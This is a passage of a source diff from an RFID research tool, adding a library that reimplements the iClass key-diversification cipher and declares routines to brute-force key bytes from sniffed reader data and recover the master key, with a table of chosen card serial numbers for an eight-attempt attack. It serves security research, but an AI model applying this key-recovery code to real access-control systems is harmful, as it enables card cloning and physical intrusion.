char *filename); ++/** ++ * @brief Same as bruteforcefile, but uses a an array of dumpdata instead ++ * @param dump ++ * @param dumpsize ++ * @param keytable ++ * @return ++ */ ++int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]); ++ ++/** ++ This is how we expect each 'entry' in a dumpfile to look ++**/ ++typedef struct { ++ uint8_t csn[8]; ++ uint8_t cc_nr[12]; ++ uint8_t mac[4]; ++ ++}dumpdata; ++ ++/** ++ * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac. ++ *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced ++ *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts. ++ *It updates the keytable with the findings, also using the upper half of the 16-bit ints ++ *to signal if the particular byte has been cracked or not. ++ * ++ * @param dump The dumpdata from iclass reader attack. ++ * @param keytable where to write found values. ++ * @return ++ */ ++int bruteforceItem(dumpdata item, uint16_t keytable[]); ++/** ++ * Hash1 takes CSN as input, and determines what bytes in the keytable will be used ++ * when constructing the K_sel. ++ * @param csn the CSN used ++ * @param k output ++ */ ++void hash1(uint8_t csn[] , uint8_t k[]); ++ ++/** ++ * From dismantling iclass-paper: ++ * Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] . ++ * Then he can simply recover the master custom key K_cus by computing ++ * K_cus = ~DES(z[0] , y[0] ) . ++ * ++ * Furthermore, the adversary is able to verify that he has the correct K cus by ++ * checking whether z [0] = DES enc (K_cus , ~K_cus ). ++ * @param keytable an array (128 bytes) of hash2(kcus) ++ * @param master_key where to put the master key ++ * @return 0 for ok, 1 for failz ++ */ ++int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] ); ++ ++/** ++ * @brief Test function ++ * @return ++ */ ++int testElite(); ++ ++/** ++ Here are some pretty optimal values that can be used to recover necessary data in only ++ eight auth attempts. ++// CSN HASH1 Bytes recovered // ++{ {0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0} , {0x01,0x01,0x00,0x00,0x45,0x01,0x45,0x45 } ,{0,1 }}, ++{ {0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0} , {0x02,0x0c,0x01,0x00,0x45,0x01,0x45,0x45} , {2,12}}, ++{ {0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0} , {0x07,0x45,0x0b,0x00,0x45,0x01,0x45,0x45} , {7,11}}, ++{ {0x17,0x12,0x01,0xfd,0xf7,0xff,0x12,0xe0} , {0x03,0x0f,0x00,0x00,0x45,0x01,0x45,0x45} , {3,15}}, ++{ {0xcd,0x56,0x01,0x7c,0x6f,0xff,0x12,0xe0} , {0x04,0x00,0x08,0x00,0x45,0x01,0x45,0x45} , {4,8}}, ++{ {0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0} , {0x0e,0x06,0x08,0x00,0x45,0x01,0x45,0x45} , {6,14}}, ++{ {0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0} , {0x0b,0x09,0x0f,0x00,0x45,0x01,0x05,0x45} , {9,5}}, ++{ {0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0} , {0x0d,0x0f,0x0a,0x00,0x45,0x01,0x05,0x45} , {10,13}}, ++ ++**/ ++ ++ ++#endif diff --cc client/loclass/fileutils.c index 00000000,00000000..2f7b6b65 new file mode 100644 --- /dev/null +++ b/client/loclass/fileutils.c @@@ -1,0 -1,0 +1,65 @@@ ++#include ++#include ++#include ++#include ++#include ++#include "fileutils.h" ++#include "ui.h" ++/** ++ * @brief checks if a file exists ++ * @param filename ++ * @return ++ */ ++int fileExists(const char *filename) { ++ struct stat st; ++ int result = stat(filename, &st); ++ return result == 0; ++} ++ ++int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen) ++{ ++ int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5); ++ char * fileName = malloc(size); ++ ++ memset(fileName,0,size); ++ int num = 1; ++ sprintf(fileName,"%s.%s", preferredName, suffix); ++ while(fileExists(fileName)) ++ { ++ sprintf(fileName,"%s-%d.%s", preferredName, num, suffix); ++ num++; ++ } ++ /* We should have a valid filename now, e.g. dumpdata-3.bin */ ++ ++ /*Opening file for writing in binary mode*/ ++ FILE *fileHandle=fopen(fileName,"wb"); ++ if(!fileHandle) { ++ prnlog("Failed to write to file '%s'", fileName); ++ return 1; ++ } ++ fwrite(data, 1, datalen, fileHandle); ++ fclose(fileHandle); ++ prnlog("Saved data to '%s'", fileName); ++ free(fileName); ++ ++ return 0; ++} ++ ++/** ++ * Utility function to print to console. This is used consistently within the library instead ++ * of printf, but it actually only calls printf (and adds a linebreak). ++ * The reason to have this method is to ++ * make it simple to plug this library into proxmark, which has this function already to ++ * write also to a logfile. When doing so, just delete this function. ++ * @param fmt ++ */ ++void prnlog(char *fmt, ...) ++{ ++ ++ va_list args; ++ va_start(args,fmt); ++ PrintAndLog(fmt, args); ++ //vprintf(fmt,args); ++ va_end(args); ++ //printf("\n"); ++} diff --cc client/loclass/fileutils.h index 00000000,00000000..a0f5a799 new file mode 100644 --- /dev/null +++ b/client/loclass/fileutils.h @@@ -1,0 -1,0 +1,24 @@@ ++#ifndef FILEUTILS_H ++#define FILEUTILS_H ++/** ++ * @brief Utility function to save data to a file. This method takes a preferred name, but if that ++ * file already exists, it tries with another name until it finds something suitable. ++ * E.g. dumpdata-15.txt ++ * @param preferredName ++ * @param suffix the file suffix. Leave out the ".". ++ * @param data The binary data to write to the file ++ * @param datalen the length of the data ++ * @return 0 for ok, 1 for failz ++ */ ++int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen); ++ ++ ++/** ++ * Utility function to print to console. This is used consistently within the library instead ++ * of printf, but it actually only calls printf. The reason to have this method is to ++ *make it simple to plug this library into proxmark, which has this function already to ++ * write also to a logfile. When doing so, just point this function to use PrintAndLog ++ * @param fmt ++ */ ++void prnlog(char *fmt, ...); ++#endif // FILEUTILS_H diff --cc client/loclass/ikeys.c index 00000000,18571b0d..5240cba1 mode 000000,100644..100644 --- a/client/loclass/ikeys.c +++ b/client/loclass/ikeys.c @@@ -1,0 -1,469 +1,878 @@@ + /***************************************************************************** + * This file is part of iClassCipher. It is a reconstructon of the cipher engine + * used in iClass, and RFID techology. + * + * The implementation is based on the work performed by + * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and + * Milosch Meriac in the paper "Dismantling IClass". + * ++ * This is a reference implementation of iclass key diversification. I'm sure it can be ++ * optimized heavily. It is written for ease of understanding and correctness, please take it ++ * and tweak it and make a super fast version instead, using this for testing and verification. ++ + * Copyright (C) 2014 Martin Holst Swende + * + * This is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with IClassCipher. If not, see . + ****************************************************************************/ + /** ++ ++ + From "Dismantling iclass": + This section describes in detail the built-in key diversification algorithm of iClass. + Besides the obvious purpose of deriving a card key from a master key, this + algorithm intends to circumvent weaknesses in the cipher by preventing the + usage of certain ‘weak’ keys. In order to compute a diversified key, the iClass + reader first encrypts the card identity id with the master key K, using single + DES. The resulting ciphertext is then input to a function called hash0 which + outputs the diversified key k. + + k = hash0(DES enc (id, K)) + + Here the DES encryption of id with master key K outputs a cryptogram c + of 64 bits. These 64 bits are divided as c = x, y, z [0] , . . . , z [7] ∈ F 82 × F 82 × (F 62 ) 8 + which is used as input to the hash0 function. This function introduces some + obfuscation by performing a number of permutations, complement and modulo + operations, see Figure 2.5. Besides that, it checks for and removes patterns like + similar key bytes, which could produce a strong bias in the cipher. Finally, the + output of hash0 is the diversified card key k = k [0] , . . . , k [7] ∈ (F 82 ) 8 . + + + **/ + + + #include + #include + #include -#include "cipherutils.h" -#include "cipher.h" -#include "../util.h" + #include -#include "des.h" + #include ++#include "fileutils.h" ++#include "cipherutils.h" ++#include "des.h" + + uint8_t pi[35] = {0x0F,0x17,0x1B,0x1D,0x1E,0x27,0x2B,0x2D,0x2E,0x33,0x35,0x39,0x36,0x3A,0x3C,0x47,0x4B,0x4D,0x4E,0x53,0x55,0x56,0x59,0x5A,0x5C,0x63,0x65,0x66,0x69,0x6A,0x6C,0x71,0x72,0x74,0x78}; + + static des_context ctx_enc = {DES_ENCRYPT,{0}}; + static des_context ctx_dec = {DES_DECRYPT,{0}}; + -static bool debug_print = false; ++static int debug_print = 0; + + /** + * @brief The key diversification algorithm uses 6-bit bytes. + * This implementation uses 64 bit uint to pack seven of them into one + * variable. When they are there, they are placed as follows: + * XXXX XXXX N0 .... N7, occupying the lsat 48 bits. + * + * This function picks out one from such a collection + * @param all + * @param n bitnumber + * @return + */ + uint8_t getSixBitByte(uint64_t c, int n) + { + return (c >> (42-6*n)) & 0x3F; - //return (c >> n*6) & 0x3f; + } + + /** + * @brief Puts back a six-bit 'byte' into a uint64_t. + * @param c buffer + * @param z the value to place there + * @param n bitnumber. + */ + void pushbackSixBitByte(uint64_t *c, uint8_t z, int n) + { + //0x XXXX YYYY ZZZZ ZZZZ ZZZZ + // ^z0 ^z7 + //z0: 1111 1100 0000 0000 + + uint64_t masked = z & 0x3F; + uint64_t eraser = 0x3F; + masked <<= 42-6*n; + eraser <<= 42-6*n; + + //masked <<= 6*n; + //eraser <<= 6*n; + + eraser = ~eraser; + (*c) &= eraser; + (*c) |= masked; + + } - ++/** ++ * @brief Swaps the z-values. ++ * If the input value has format XYZ0Z1...Z7, the output will have the format ++ * XYZ7Z6...Z0 instead ++ * @param c ++ * @return ++ */ + uint64_t swapZvalues(uint64_t c) + { + uint64_t newz = 0; + pushbackSixBitByte(&newz, getSixBitByte(c,0),7); + pushbackSixBitByte(&newz, getSixBitByte(c,1),6); + pushbackSixBitByte(&newz, getSixBitByte(c,2),5); + pushbackSixBitByte(&newz, getSixBitByte(c,3),4); + pushbackSixBitByte(&newz, getSixBitByte(c,4),3); + pushbackSixBitByte(&newz, getSixBitByte(c,5),2); + pushbackSixBitByte(&newz, getSixBitByte(c,6),1); + pushbackSixBitByte(&newz, getSixBitByte(c,7),0); + newz |= (c & 0xFFFF000000000000); + return newz; + } + + /** + * @return 4 six-bit bytes chunked into a uint64_t,as 00..00a0a1a2a3 + */ + uint64_t ck(int i, int j, uint64_t z) + { + -// printf("ck( i=%d, j=%d), zi=[%d],zj=[%d] \n",i,j,getSixBitByte(z,i),getSixBitByte(z,j) ); - + if(i == 1 && j == -1) + { + // ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3] + return z; + + }else if( j == -1) + { + // ck(i, −1, z [0] . . . z [3] ) = ck(i − 1, i − 2, z [0] . . . z [3] ) + return ck(i-1,i-2, z); + } + + if(getSixBitByte(z,i) == getSixBitByte(z,j)) + { - // TODO, I dont know what they mean here in the paper ++ + //ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] ) + uint64_t newz = 0; + int c; - //printf("z[i]=z[i] (0x%02x), i=%d, j=%d\n",getSixBitByte(z,i),i,j ); + for(c = 0; c < 4 ;c++) + { + uint8_t val = getSixBitByte(z,c); + if(c == i) + { - //printf("oops\n"); + pushbackSixBitByte(&newz, j, c); + }else + { + pushbackSixBitByte(&newz, val, c); + } + } + return ck(i,j-1,newz); + }else + { + return ck(i,j-1,z); + } - + } + /** + + Definition 8. + Let the function check : (F 62 ) 8 → (F 62 ) 8 be defined as + check(z [0] . . . z [7] ) = ck(3, 2, z [0] . . . z [3] ) · ck(3, 2, z [4] . . . z [7] ) + + where ck : N × N × (F 62 ) 4 → (F 62 ) 4 is defined as + + ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3] + ck(i, −1, z [0] . . . z [3] ) = ck(i − 1, i − 2, z [0] . . . z [3] ) + ck(i, j, z [0] . . . z [3] ) = + ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] ), if z [i] = z [j] ; + ck(i, j − 1, z [0] . . . z [3] ), otherwise + + otherwise. + **/ + + uint64_t check(uint64_t z) + { + //These 64 bits are divided as c = x, y, z [0] , . . . , z [7] + + // ck(3, 2, z [0] . . . z [3] ) + uint64_t ck1 = ck(3,2, z ); + + // ck(3, 2, z [4] . . . z [7] ) + uint64_t ck2 = ck(3,2, z << 24); ++ ++ //The ck function will place the values ++ // in the middle of z. + ck1 &= 0x00000000FFFFFF000000; + ck2 &= 0x00000000FFFFFF000000; + + return ck1 | ck2 >> 24; + + } + + void permute(BitstreamIn *p_in, uint64_t z,int l,int r, BitstreamOut* out) + { + if(bitsLeft(p_in) == 0) + { + return; + } + bool pn = tailBit(p_in); + if( pn ) // pn = 1 + { + uint8_t zl = getSixBitByte(z,l); - //printf("permute pushing, zl=0x%02x, zl+1=0x%02x\n", zl, zl+1); ++ + push6bits(out, zl+1); + permute(p_in, z, l+1,r, out); + }else // otherwise + { + uint8_t zr = getSixBitByte(z,r); - //printf("permute pushing, zr=0x%02x\n", zr); ++ + push6bits(out, zr); + permute(p_in,z,l,r+1,out); + } + } -void testPermute() -{ - - uint64_t x = 0; - pushbackSixBitByte(&x,0x00,0); - pushbackSixBitByte(&x,0x01,1); - pushbackSixBitByte(&x,0x02,2); - pushbackSixBitByte(&x,0x03,3); - pushbackSixBitByte(&x,0x04,4); - pushbackSixBitByte(&x,0x05,5); - pushbackSixBitByte(&x,0x06,6); - pushbackSixBitByte(&x,0x07,7); - - uint8_t mres[8] = { getSixBitByte(x, 0), - getSixBitByte(x, 1), - getSixBitByte(x, 2), - getSixBitByte(x, 3), - getSixBitByte(x, 4), - getSixBitByte(x, 5), - getSixBitByte(x, 6), - getSixBitByte(x, 7)}; - printarr("input_perm", mres,8); - - uint8_t p = ~pi[0]; - BitstreamIn p_in = { &p, 8,0 }; - uint8_t outbuffer[] = {0,0,0,0,0,0,0,0}; - BitstreamOut out = {outbuffer,0,0}; - - permute(&p_in, x,0,4, &out); - - uint64_t permuted = bytes_to_num(outbuffer,8); - //printf("zTilde 0x%"PRIX64"\n", zTilde); - permuted >>= 16; - - uint8_t res[8] = { getSixBitByte(permuted, 0), - getSixBitByte(permuted, 1), - getSixBitByte(permuted, 2), - getSixBitByte(permuted, 3), - getSixBitByte(permuted, 4), - getSixBitByte(permuted, 5), - getSixBitByte(permuted, 6), - getSixBitByte(permuted, 7)}; - printarr("permuted", res, 8); -} + void printbegin() + { - if(! debug_print) - return; ++ if(debug_print <2) ++ return ; + - printf(" | x| y|z0|z1|z2|z3|z4|z5|z6|z7|\n"); ++ prnlog(" | x| y|z0|z1|z2|z3|z4|z5|z6|z7|"); + } + -void printState(char* desc, int x,int y, uint64_t c) ++void printState(char* desc, uint64_t c) + { - if(! debug_print) - return; ++ if(debug_print < 2) ++ return ; + + printf("%s : ", desc); - //uint8_t x = (c & 0xFF00000000000000 ) >> 56; - //uint8_t y = (c & 0x00FF000000000000 ) >> 48; ++ uint8_t x = (c & 0xFF00000000000000 ) >> 56; ++ uint8_t y = (c & 0x00FF000000000000 ) >> 48; + printf(" %02x %02x", x,y); + int i ; + for(i =0 ; i < 8 ; i++) + { + printf(" %02x", getSixBitByte(c,i)); + } + printf("\n"); + } + + /** + * @brief + *Definition 11. Let the function hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as + * hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where + * z'[i] = (z[i] mod (63-i)) + i i = 0...3 + * z'[i+4] = (z[i+4] mod (64-i)) + i i = 0...3 + * ẑ = check(z'); + * @param c + * @param k this is where the diversified key is put (should be 8 bytes) + * @return + */ -void hash0(uint64_t c, uint8_t *k) ++void hash0(uint64_t c, uint8_t k[8]) + { ++ c = swapZvalues(c); ++ + printbegin(); ++ printState("origin",c); + //These 64 bits are divided as c = x, y, z [0] , . . . , z [7] + // x = 8 bits + // y = 8 bits + // z0-z7 6 bits each : 48 bits + uint8_t x = (c & 0xFF00000000000000 ) >> 56; + uint8_t y = (c & 0x00FF000000000000 ) >> 48; - printState("origin",x,y,c); + int n; + uint8_t zn, zn4, _zn, _zn4; + uint64_t zP = 0; + + for(n = 0; n < 4 ; n++) + { + zn = getSixBitByte(c,n); ++ + zn4 = getSixBitByte(c,n+4); + + _zn = (zn % (63-n)) + n; + _zn4 = (zn4 % (64-n)) + n; + ++ + pushbackSixBitByte(&zP, _zn,n); + pushbackSixBitByte(&zP, _zn4,n+4); + + } - printState("x|y|z'",x,y,zP); ++ printState("0|0|z'",zP); + + uint64_t zCaret = check(zP); - printState("x|y|z^",x,y,zP); ++ printState("0|0|z^",zP); + + + uint8_t p = pi[x % 35]; + + if(x & 1) //Check if x7 is 1 + { + p = ~p; + } - printState("p|y|z^",p,y,zP); - //if(debug_print) printf("p:%02x\n", p); ++ ++ if(debug_print >= 2) prnlog("p:%02x", p); + + BitstreamIn p_in = { &p, 8,0 }; + uint8_t outbuffer[] = {0,0,0,0,0,0,0,0}; + BitstreamOut out = {outbuffer,0,0}; + permute(&p_in,zCaret,0,4,&out);//returns 48 bits? or 6 8-bytes + + //Out is now a buffer containing six-bit bytes, should be 48 bits + // if all went well - //printf("Permute output is %d num bits (48?)\n", out.numbits); + //Shift z-values down onto the lower segment + - uint64_t zTilde = bytes_to_num(outbuffer,8); ++ uint64_t zTilde = x_bytes_to_num(outbuffer,8); + - //printf("zTilde 0x%"PRIX64"\n", zTilde); + zTilde >>= 16; - //printf("z~ 0x%"PRIX64"\n", zTilde); - printState("p|y|z~", p,y,zTilde); ++ ++ printState("0|0|z~", zTilde); + + int i; + int zerocounter =0 ; + for(i =0 ; i < 8 ; i++) + { + + // the key on index i is first a bit from y + // then six bits from z, + // then a bit from p + + // Init with zeroes + k[i] = 0; + // First, place yi leftmost in k + //k[i] |= (y << i) & 0x80 ; + + // First, place y(7-i) leftmost in k + k[i] |= (y << (7-i)) & 0x80 ; + - //printf("y%d = %d\n",i,(y << i) & 0x80); ++ + + uint8_t zTilde_i = getSixBitByte(zTilde, i); - //printf("zTilde_%d 0x%02x (should be <= 0x3F)\n",i, zTilde_i); + // zTildeI is now on the form 00XXXXXX + // with one leftshift, it'll be + // 0XXXXXX0 + // So after leftshift, we can OR it into k + // However, when doing complement, we need to + // again MASK 0XXXXXX0 (0x7E) + zTilde_i <<= 1; + + //Finally, add bit from p or p-mod + //Shift bit i into rightmost location (mask only after complement) + uint8_t p_i = p >> i & 0x1; + + if( k[i] )// yi = 1 + { + //printf("k[%d] +1\n", i); + k[i] |= ~zTilde_i & 0x7E; + k[i] |= p_i & 1; + k[i] += 1; + + }else // otherwise + { + k[i] |= zTilde_i & 0x7E; + k[i] |= (~p_i) & 1; + } + if((k[i] & 1 )== 0) + { + zerocounter ++; + } + } - //printf("zerocounter=%d (should be 4)\n",zerocounter); - //printf("permute fin, y:0x%02x, x: 0x%02x\n", y, x); ++} ++/** ++ * @brief Performs Elite-class key diversification ++ * @param csn ++ * @param key ++ * @param div_key ++ */ ++void diversifyKey(uint8_t csn[8], uint8_t key[8], uint8_t div_key[8]) ++{ ++ ++ // Prepare the DES key ++ des_setkey_enc( &ctx_enc, key); ++ ++ uint8_t crypted_csn[8] = {0}; + - //return k; ++ // Calculate DES(CSN, KEY) ++ des_crypt_ecb(&ctx_enc,csn, crypted_csn); ++ ++ //Calculate HASH0(DES)) ++ uint64_t crypt_csn = x_bytes_to_num(crypted_csn, 8); ++ //uint64_t crypted_csn_swapped = swapZvalues(crypt_csn); ++ ++ hash0(crypt_csn,div_key); + } + -void reorder(uint8_t arr[8]) ++ ++ ++ ++ ++void testPermute() + { - uint8_t tmp[4] = {arr[3],arr[2],arr[1], arr[0]}; - arr[0] = arr[7]; - arr[1] = arr[6]; - arr[2] = arr[5]; - arr[3] = arr[4]; - arr[4] = tmp[0];//arr[3]; - arr[5] = tmp[1];//arr[2]; - arr[6] = tmp[2];//arr[3]; - arr[7] = tmp[3];//arr[1] ++ ++ uint64_t x = 0; ++ pushbackSixBitByte(&x,0x00,0); ++ pushbackSixBitByte(&x,0x01,1); ++ pushbackSixBitByte(&x,0x02,2); ++ pushbackSixBitByte(&x,0x03,3); ++ pushbackSixBitByte(&x,0x04,4); ++ pushbackSixBitByte(&x,0x05,5); ++ pushbackSixBitByte(&x,0x06,6); ++ pushbackSixBitByte(&x,0x07,7); ++ ++ uint8_t mres[8] = { getSixBitByte(x, 0), ++ getSixBitByte(x, 1), ++ getSixBitByte(x, 2), ++ getSixBitByte(x, 3), ++ getSixBitByte(x, 4), ++ getSixBitByte(x, 5), ++ getSixBitByte(x, 6), ++ getSixBitByte(x, 7)}; ++ printarr("input_perm", mres,8); ++ ++ uint8_t p = ~pi[0]; ++ BitstreamIn p_in = { &p, 8,0 }; ++ uint8_t outbuffer[] = {0,0,0,0,0,0,0,0}; ++ BitstreamOut out = {outbuffer,0,0}; ++ ++ permute(&p_in, x,0,4, &out); ++ ++ uint64_t permuted = x_bytes_to_num(outbuffer,8); ++ //printf("zTilde 0x%"PRIX64"\n", zTilde); ++ permuted >>= 16; ++ ++ uint8_t res[8] = { getSixBitByte(permuted, 0), ++ getSixBitByte(permuted, 1), ++ getSixBitByte(permuted, 2), ++ getSixBitByte(permuted, 3), ++ getSixBitByte(permuted, 4), ++ getSixBitByte(permuted, 5), ++ getSixBitByte(permuted, 6), ++ getSixBitByte(permuted, 7)}; ++ printarr("permuted", res, 8); + } + -//extern void printarr(char * name, uint8_t* arr, int len); ++//These testcases are ++//{ UID , TEMP_KEY, DIV_KEY} using the specific key ++typedef struct ++{ ++ uint8_t uid[8]; ++ uint8_t t_key[8]; ++ uint8_t div_key[8]; ++} Testcase; ++ ++ ++int testDES(Testcase testcase, des_context ctx_enc, des_context ctx_dec) ++{ ++ uint8_t des_encrypted_csn[8] = {0}; ++ uint8_t decrypted[8] = {0}; ++ uint8_t div_key[8] = {0}; ++ int retval = des_crypt_ecb(&ctx_enc,testcase.uid,des_encrypted_csn); ++ retval |= des_crypt_ecb(&ctx_dec,des_encrypted_csn,decrypted); ++ ++ if(memcmp(testcase.uid,decrypted,8) != 0) ++ { ++ //Decryption fail ++ prnlog("Encryption <-> Decryption FAIL"); ++ printarr("Input", testcase.uid, 8); ++ printarr("Decrypted", decrypted, 8); ++ retval = 1; ++ } ++ ++ if(memcmp(des_encrypted_csn,testcase.t_key,8) != 0) ++ { ++ //Encryption fail ++ prnlog("Encryption != Expected result"); ++ printarr("Output", des_encrypted_csn, 8); ++ printarr("Expected", testcase.t_key, 8); ++ retval = 1; ++ } ++ uint64_t crypted_csn = x_bytes_to_num(des_encrypted_csn,8); ++ hash0(crypted_csn, div_key); + ++ if(memcmp(div_key, testcase.div_key ,8) != 0) ++ { ++ //Key diversification fail ++ prnlog("Div key != expected result"); ++ printarr(" csn ", testcase.uid,8); ++ printarr("{csn} ", des_encrypted_csn,8); ++ printarr("hash0 ", div_key, 8); ++ printarr("Expected", testcase.div_key, 8); ++ retval = 1; ++ ++ } ++ return retval; ++} + bool des_getParityBitFromKey(uint8_t key) + {//The top 7 bits is used + bool parity = ((key & 0x80) >> 7) + ^ ((key & 0x40) >> 6) ^ ((key & 0x20) >> 5) + ^ ((key & 0x10) >> 4) ^ ((key & 0x08) >> 3) + ^ ((key & 0x04) >> 2) ^ ((key & 0x02) >> 1); + return !parity; + } ++ ++ + void des_checkParity(uint8_t* key) + { + int i; + int fails =0; + for(i =0 ; i < 8 ; i++) + { + bool parity = des_getParityBitFromKey(key[i]); + if(parity != (key[i] & 0x1)) + { + fails++; - printf("parity1 fail, byte %d [%02x] was %d, should be %d\n",i,key[i],(key[i] & 0x1),parity); ++ prnlog("[+] parity1 fail, byte %d [%02x] was %d, should be %d",i,key[i],(key[i] & 0x1),parity); + } + } + if(fails) + { - printf("parity fails: %d\n", fails); ++ prnlog("[+] parity fails: %d", fails); + }else + { - printf("Key syntax is with parity bits inside each byte\n"); ++ prnlog("[+] Key syntax is with parity bits inside each byte"); + } + } + -void printarr2(char * name, uint8_t* arr, int len) ++Testcase testcases[] ={ ++ ++ {{0x8B,0xAC,0x60,0x1F,0x53,0xB8,0xED,0x11},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0xAE,0x51,0xE5,0x62,0xE7,0x9A,0x99,0x39},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01},{0x04,0x02,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x9B,0x21,0xE4,0x31,0x6A,0x00,0x29,0x62},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02},{0x06,0x04,0x02,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x65,0x24,0x0C,0x41,0x4F,0xC2,0x21,0x93},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04},{0x0A,0x04,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x7F,0xEB,0xAE,0x93,0xE5,0x30,0x08,0xBD},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08},{0x12,0x04,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x49,0x7B,0x70,0x74,0x9B,0x35,0x1B,0x83},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10},{0x22,0x04,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x02,0x3C,0x15,0x6B,0xED,0xA5,0x64,0x6C},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20},{0x42,0x04,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0xE8,0x37,0xE0,0xE2,0xC6,0x45,0x24,0xF3},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40},{0x02,0x06,0x04,0x08,0x01,0x03,0x05,0x07}}, ++ {{0xAB,0xBD,0x30,0x05,0x29,0xC8,0xF7,0x12},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80},{0x02,0x08,0x06,0x04,0x01,0x03,0x05,0x07}}, ++ {{0x17,0xE8,0x97,0xF0,0x99,0xB6,0x79,0x31},{0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00},{0x02,0x0C,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x49,0xA4,0xF0,0x8F,0x5F,0x96,0x83,0x16},{0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00},{0x02,0x14,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x60,0xF5,0x7E,0x54,0xAA,0x41,0x83,0xD4},{0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00},{0x02,0x24,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x1D,0xF6,0x3B,0x6B,0x85,0x55,0xF0,0x4B},{0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x00},{0x02,0x44,0x06,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x1F,0xDC,0x95,0x1A,0xEA,0x6B,0x4B,0xB4},{0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00},{0x02,0x04,0x08,0x06,0x01,0x03,0x05,0x07}}, ++ {{0xEC,0x93,0x72,0xF0,0x3B,0xA9,0xF5,0x0B},{0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00},{0x02,0x04,0x0A,0x08,0x01,0x03,0x05,0x07}}, ++ {{0xDE,0x57,0x5C,0xBE,0x2D,0x55,0x03,0x12},{0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00},{0x02,0x04,0x0E,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x1E,0xD2,0xB5,0xCE,0x90,0xC9,0xC1,0xCC},{0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00},{0x02,0x04,0x16,0x08,0x01,0x03,0x05,0x07}}, ++ {{0xD8,0x65,0x96,0x4E,0xE7,0x74,0x99,0xB8},{0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00},{0x02,0x04,0x26,0x08,0x01,0x03,0x05,0x07}}, ++ {{0xE3,0x7A,0x29,0x83,0x31,0xD5,0x3A,0x54},{0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00},{0x02,0x04,0x46,0x08,0x01,0x03,0x05,0x07}}, ++ {{0x3A,0xB5,0x1A,0x34,0x34,0x25,0x12,0xF0},{0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00},{0x02,0x04,0x06,0x0A,0x01,0x03,0x05,0x07}}, ++ {{0xF2,0x88,0xEE,0x6F,0x70,0x6F,0xC2,0x52},{0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00},{0x02,0x04,0x06,0x0C,0x01,0x03,0x05,0x07}}, ++ {{0x76,0xEF,0xEB,0x80,0x52,0x43,0x83,0x57},{0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00},{0x02,0x04,0x06,0x10,0x01,0x03,0x05,0x07}}, ++ {{0x1C,0x09,0x8E,0x3B,0x23,0x23,0x52,0xB5},{0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00},{0x02,0x04,0x06,0x18,0x01,0x03,0x05,0x07}}, ++ {{0xA9,0x13,0xA2,0xBE,0xCF,0x1A,0xC4,0x9A},{0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00},{0x02,0x04,0x06,0x28,0x01,0x03,0x05,0x07}}, ++ {{0x25,0x56,0x4B,0xB0,0xC8,0x2A,0xD4,0x27},{0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00},{0x02,0x04,0x06,0x48,0x01,0x03,0x05,0x07}}, ++ 